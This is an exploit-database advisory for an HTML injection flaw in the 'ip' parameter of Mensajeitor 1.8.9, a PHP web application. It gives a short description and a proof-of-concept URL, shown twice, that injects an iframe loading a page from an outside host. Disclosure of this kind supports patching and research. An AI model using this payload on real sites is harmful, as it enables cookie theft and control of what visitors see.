Mensajeitor 1.8.9 - 'IP' HTML Injection

Author: Megabyte
type: webapps
platform: php
port: 
date_added: 2005-06-27 
date_updated: 2013-06-03 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/14071/info

Mensajeitor is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

http://www.example.com/mensajeitor.php?nick=megabyte&url=http://mbytesecurity.org&actualizar=null&titulo=aaa&ip='aa'>%3Ciframe%20src=http://mbytesecurity.org/bukle.htm&enviar
=Enviar
<http://www.example.com/mensajeitor.php?nick=megabyte&url=http://mbytesecurity.org&actualizar=null&titulo=aaa&ip=%27aa%27%3E%3Ciframe%20src=http://mbytesecurity.org/bukle.htm
&enviar=Enviar>